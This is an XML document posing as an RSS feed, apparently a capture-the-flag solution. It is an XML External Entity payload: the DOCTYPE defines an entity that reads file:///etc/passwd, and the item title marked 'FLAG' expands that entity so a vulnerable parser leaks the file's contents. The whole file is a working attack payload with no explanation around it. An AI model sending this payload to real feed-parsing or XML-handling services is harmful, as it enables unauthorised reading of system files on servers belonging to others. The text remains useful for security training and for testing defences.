<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
	<!ELEMENT foo ANY >
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<rss version="2.0">

	<channel>
		<title>USELESS</title>
		<link>https://USELESS</link>
		<description>USELESS</description>
		<item>
			<title>FLAG :
				<foo>&xxe;</foo>
			</title>
			<link>https://USELESS</link>
			<description>USELESS</description>
		</item>
	</channel>

</rss>